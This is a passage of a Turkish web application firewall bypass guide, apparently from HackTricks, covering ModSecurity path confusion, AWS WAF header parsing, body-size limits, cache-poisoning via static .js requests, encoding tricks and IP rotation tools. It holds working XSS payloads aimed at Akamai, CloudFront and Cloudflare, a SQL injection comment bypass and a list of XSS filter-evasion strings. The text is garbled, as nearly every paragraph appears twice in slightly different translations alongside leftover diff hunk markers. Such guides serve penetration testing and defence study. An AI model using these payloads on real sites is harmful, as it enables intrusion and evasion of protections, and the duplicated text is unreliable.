Bu nedenle, mod güvenliğinde `http://example.com/foo%3f';alert(1);foo=` gibi bir istek, yolun sadece `/foo` olduğunu varsayacaktır çünkü `%3f` `?`'ya dönüştürülerek URL yolunu sonlandırır, ancak aslında sunucunun alacağı yol `/foo%3f';alert(1);foo=` olacaktır.
`REQUEST_BASENAME` ve `PATH_INFO` değişkenleri de bu hatadan etkilenmiştir.
Mod Security'nin 2. versiyonunda benzer bir durum meydana gelmiş ve yedek dosyalarla ilgili belirli uzantılara sahip dosyalara erişimi engelleyen bir korumayı aşmayı mümkün kılmıştır (örneğin `.bak` gibi) sadece noktanın `%2e` olarak URL kodlanarak gönderilmesiyle, örneğin: `https://example.com/backup%2ebak`.
Mod Security'nin 2. versiyonunda benzer bir durum meydana gelmiş ve yedek dosyalarla ilgili belirli uzantılara sahip dosyalara erişimi engelleyen bir korumayı aşmayı mümkün kılmıştır (örneğin `.bak` gibi) sadece noktayı `%2e` ile URL kodlayarak göndererek, örneğin: `https://example.com/backup%2ebak`.
## AWS WAF ACL'yi Bypass Etme <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Bozuk Başlık
[Bu araştırma](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies), AWS'nin düzgün bir şekilde ayrıştırmadığı ancak arka uç sunucusu tarafından ayrıştırılan "bozuk" bir başlık göndererek AWS WAF kurallarını aşmanın mümkün olduğunu belirtmektedir.
[Bu araştırma](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies), AWS tarafından düzgün bir şekilde ayrıştırılmayan ancak arka uç sunucusu tarafından ayrıştırılan "bozuk" bir başlık göndererek AWS WAF kurallarını aşmanın mümkün olduğunu belirtmektedir.
Örneğin, X-Query başlığında bir SQL enjeksiyonu ile aşağıdaki isteği göndermek:
```http
@ -96,34 +96,51 @@ X-Query: Value\r\n
Connection: close\r\n
\r\n
```
AWS WAF'ı atlatmak mümkündü çünkü bir sonraki satırın başlığın değeri olduğunu anlamıyordu, oysa NODEJS sunucusu bunu anlıyordu (bu düzeltildi).
AWS WAF'ı atlatmak mümkündü çünkü bir sonraki satırın başlığın değeriyle ilgili olduğunu anlamıyordu, oysa NODEJS sunucusu anlıyordu (bu düzeltildi).
## Genel WAF atlatmaları
### İstek Boyutu Sınırları
### İstek Boyut Sınırları
Genellikle WAF'ların kontrol edeceği belirli bir istek uzunluğu sınırı vardır ve eğer bir POST/PUT/PATCH isteği bu sınırı aşarsa, WAF isteği kontrol etmez.
Genellikle WAF'ların kontrol edeceği isteklerin belirli bir uzunluk sınırı vardır ve eğer bir POST/PUT/PATCH isteği bu sınırı aşarsa, WAF isteği kontrol etmez.
- AWS WAF için, [**belgelere göz atabilirsiniz**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
- AWS WAF için [**belgelere göz atabilirsiniz**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Application Load Balancer ve AWS AppSync korumaları için incelenebilecek maksimum web istek gövde boyutu</td><td>8 KB</td></tr><tr><td>CloudFront, API Gateway, Amazon Cognito, App Runner ve Verified Access korumaları için incelenebilecek maksimum web istek gövde boyutu**</td><td>64 KB</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Uygulama Yük Dengeleyici ve AWS AppSync korumaları için incelenebilecek maksimum web istek gövde boyutu</td><td>8 KB</td></tr><tr><td>CloudFront, API Gateway, Amazon Cognito, App Runner ve Doğrulanmış Erişim korumaları için incelenebilecek maksimum web istek gövde boyutu**</td><td>64 KB</td></tr></tbody></table>
- [**Azure belgelerinden**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
Core Rule Set 3.1 (veya daha düşük) olan eski Web Uygulama Güvenlik Duvarları, istek gövde denetimini kapatarak **128 KB**'dan büyük mesajlara izin verir, ancak bu mesajlar güvenlik açıkları için kontrol edilmeyecektir. Daha yeni sürümler (Core Rule Set 3.2 veya daha yeni) için, maksimum istek gövde sınırını devre dışı bırakarak aynı şey yapılabilir. Bir istek boyut sınırını aşarsa:
Eski Web Uygulama Güvenlik Duvarları, Core Rule Set 3.1 (veya daha düşük) ile **128 KB**'dan büyük mesajlara izin verir, ancak bu mesajlar güvenlik açıkları için kontrol edilmez. Daha yeni sürümler (Core Rule Set 3.2 veya daha yeni) için, maksimum istek gövde sınırını devre dışı bırakarak aynı şey yapılabilir. Bir istek boyut sınırını aşarsa:
Eğer **önleme modu**: İsteği kaydeder ve engeller.\
Eğer **tespit modu**: Sınır kadar inceler, geri kalanını göz ardı eder ve `Content-Length` sınırıarsa kaydeder.
Eğer **tespit modu**: Sınır kadar inceler, geri kalanını göz ardı eder ve `Content-Length` sınırıılırsa kaydeder.
- [**Akamai'den**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
Varsayılan olarak, WAF yalnızca bir isteğin ilk 8KB'sini inceler. Gelişmiş Meta Veriler ekleyerek sınırı 128KB'a kadar artırabilir.
- [**Cloudflare'dan**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
- [**Cloudflare'den**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
128KB'a kadar.
### Obfuscation <a href="#obfuscation" id="obfuscation"></a>
### Statik varlıkların inceleme boşlukları (.js GET'leri)
Bazı CDN/WAF yığınları, statik varlıklar için GET isteklerine zayıf veya hiç içerik incelemesi uygulamaz (örneğin `.js` ile biten yollar), yine de oran sınırlama ve IP itibarı gibi küresel kuralları uygular. Statik uzantıların otomatik önbelleğe alınması ile birleştirildiğinde, bu, sonraki HTML yanıtlarını etkileyen kötü niyetli varyantları iletmek veya tohumlamak için kötüye kullanılabilir.
Pratik kullanım durumları:
- İçerik incelemesini atlatmak için bir `.js` yoluna GET isteği ile güvensiz başlıklarda yük gönderin, ardından önbelleğe alınmış varyantı etkilemek için hemen ana HTML'yi isteyin.
- Temiz bir IP kullanın; bir IP işaretlendiğinde, yönlendirme değişiklikleri tekniği güvenilmez hale getirebilir.
- Burp Repeater'da, iki isteği (`.js` ardından HTML) aynı ön uç yolundan yarışmak için "Grupları paralel gönder" (tek paket tarzı) seçeneğini kullanın.
Bu, başlık yansıma önbellek zehirlenmesi ile iyi bir şekilde eşleşir. Bakınız:
- {{#ref}}
cache-deception/README.md
{{#endref}}
- [Bir kamu BBP'sinde 0-Tıklama Hesap ele geçirme buldum ve bunu Yönetici Düzeyindeki işlevlere erişmek için nasıl kullandım](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
### Obfuscation <a href="#ip-rotation" id="ip-rotation"></a>
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
@ -145,11 +162,11 @@ Unicode normalizasyonunun uygulanmasına bağlı olarak (daha fazla bilgi [burad
[**bu blog yazısında**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) belirtildiği gibi, kullanıcı girdisinin bağlamını koruyabilen WAF'ları aşmak için WAF tekniklerini kullanarak kullanıcı girdisini normalize edebiliriz.
Örneğin, yazıda **Akamai bir kullanıcı girdisini 10 kez URL kodlamış** olduğu belirtiliyor. Bu nedenle `<input/%2525252525252525253e/onfocus` gibi bir şey Akamai tarafından `<input/>/onfocus` olarak görülecek ve **etiketin kapandığını düşündüğü için bunun sorun olmadığını düşünebilir**. Ancak, uygulama girdiyi 10 kez URL kodlamadıkça, kurban `<input/%25252525252525253e/onfocus` gibi bir şey görecek ve bu **hala bir XSS saldırısı için geçerli** olacaktır.
Örneğin, yazıda **Akamai bir kullanıcı girdisini 10 kez URL kod çözümlemesi yaptı** deniyor. Bu nedenle `<input/%2525252525252525253e/onfocus` gibi bir şey Akamai tarafından `<input/>/onfocus` olarak görülecek ve **etiket kapandığı için bunun kabul edilebilir olduğunu düşünebilir**. Ancak, uygulama girdiyi 10 kez URL kod çözümlemesi yapmadığı sürece, kurban `<input/%25252525252525253e/onfocus` gibi bir şey görecek ve bu **hala bir XSS saldırısı için geçerli** olacaktır.
Bu nedenle, bu durum **WAF'ın kodlayıp yorumlayacağı, kurbanın ise göremeyeceği kodlanmış bileşenlerde yükleri gizlemeye** olanak tanır.
Bu nedenle, bu durum **WAF'ın çözüp yorumlayacağı kodlanmış bileşenlerde yükleri gizlemeye** olanak tanır, kurban ise bunu göremez.
Ayrıca, bu sadece URL kodlanmış yüklerle değil, aynı zamanda unicode, hex, oktal gibi diğer kodlamalarla da yapılabilir...
Ayrıca, bu sadece URL kodlanmış yüklerle değil, unicode, hex, oktal gibi diğer kodlamalarla da yapılabilir...
Yazıda aşağıdaki son aşma yöntemleri önerilmektedir:
@ -158,7 +175,7 @@ Yazıda aşağıdaki son aşma yöntemleri önerilmektedir:
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
Ayrıca, **bazı WAF'ların kullanıcı girdisinin bağlamını nasıl anladığına bağlı olarak** bunu kötüye kullanmanın mümkün olabileceği belirtiliyor. Blogda önerilen örnek, Akamai'nin `/*` ve `*/` arasında herhangi bir şey koymaya izin vermesidir (potansiyel olarak bu, genellikle yorumlar olarak kullanıldığı için). Bu nedenle, `/*'or sleep(5)-- -*/` gibi bir SQL enjeksiyonu yakalanmayacak ve `/*` enjeksiyonun başlangıç dizesi ve `*/` yorumlandığı için geçerli olacaktır.
Ayrıca, **bazı WAF'ların kullanıcı girdisinin bağlamını nasıl anladığına** bağlı olarak bunu kötüye kullanmanın mümkün olabileceği de belirtiliyor. Blogda önerilen örnek, Akamai'nin `/*` ve `*/` arasında herhangi bir şey koymaya izin vermesidir (potansiyel olarak bu, genellikle yorumlar olarak kullanıldığı için). Bu nedenle, `/*'or sleep(5)-- -*/` gibi bir SQL enjeksiyonu yakalanmayacak ve `/*` enjeksiyonun başlangıç dizesi ve `*/` yorumlandığı için geçerli olacaktır.
Bu tür bağlam sorunları, WAF tarafından istismar edilmesi beklenen **diğer zayıflıkları kötüye kullanmak için de** kullanılabilir (örneğin, bu bir XSS'i istismar etmek için de kullanılabilir).
@ -170,15 +187,15 @@ h2c-smuggling.md
### IP Dönüşümü <a href="#ip-rotation" id="ip-rotation"></a>
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): ffuf ile kullanılmak üzere bir API geçidi URL'si oluşturur
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): ffuf ile kullanılacak bir API geçidi URL'si oluşturur
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): fireprox'a benzer
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): API geçidi IP'lerini kullanan Burp Suite eklentisi
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Girdi dosyası boyutuna ve bölme faktörüne dayalı olarak dinamik olarak belirlenen bir konteyner örneği sayısı etkinleştirilir, girdi parçalar halinde paralel yürütme için bölünür; örneğin, 10,000 satırlık bir girdi dosyasından 100 satırlık bir bölme faktörü ile 100 örnek 100 parçayı işler.
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Girdi dosyası boyutuna ve bölme faktörüne dayalı olarak dinamik olarak belirlenen bir dizi konteyner örneği etkinleştirilir, girdi parçalar halinde paralel yürütme için bölünür; örneğin, 10,000 satırlık bir girdi dosyasından 100 satırlık bir bölme faktörü ile 100 örnek 100 parçayı işler.
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
### Regex Aşmaları
Ateş duvarlarındaki regex filtrelerini aşmak için farklı teknikler kullanılabilir. Örnekler arasında büyük/küçük harf değiştirme, satır sonları ekleme ve yükleri kodlama yer alır. Çeşitli aşmalar için kaynaklar [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) ve [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) adreslerinde bulunabilir. Aşağıdaki örnekler [bu makaleden](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) alınmıştır.
Firewall'lar üzerindeki regex filtrelerini aşmak için farklı teknikler kullanılabilir. Örnekler arasında büyük/küçük harf değiştirme, satır sonları ekleme ve yükleri kodlama yer alır. Çeşitli aşmalar için kaynaklar [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) ve [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) adreslerinde bulunabilir. Aşağıdaki örnekler [bu makaleden](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) alınmıştır.
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
@ -201,7 +218,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
```
## Araçlar
- [**nowafpls**](https://github.com/assetnote/nowafpls): WAF'ları uzunlukla atlatmak için isteklere gereksiz veri ekleyen Burp eklentisi
- [**nowafpls**](https://github.com/assetnote/nowafpls): WAF'leri uzunlukla atlatmak için isteklere gereksiz veri ekleyen Burp eklentisi
## Referanslar
@ -209,6 +226,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
{{#include ../banners/hacktricks-training.md}}